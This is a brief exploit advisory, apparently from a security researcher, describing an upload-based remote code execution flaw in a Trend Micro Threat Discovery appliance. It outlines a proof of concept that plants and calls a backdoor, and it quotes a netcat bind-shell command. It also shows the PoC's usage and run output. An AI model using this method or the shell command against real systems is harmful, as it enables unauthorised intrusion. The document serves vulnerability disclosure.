Summary:  
========  
  
There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.  
  
Notes:  
======  
  
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was   
take command, upload bd, exec, read, rinse, repeat.  
  
- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the   
log_query_system.cgi was unstable.  
  
- Auth is bypassed, see the other case...  
  
Example:  
========  
  
saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py   
(+) usage: ./poc.py <target> <pass>  
(+) eg: ./poc.py 172.16.175.123 admin123  
saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py 172.16.175.123 admin  
(+) logged in...  
(+) executing bd...  
(+) sleeping for a sec...  
(+) calling backdoor!
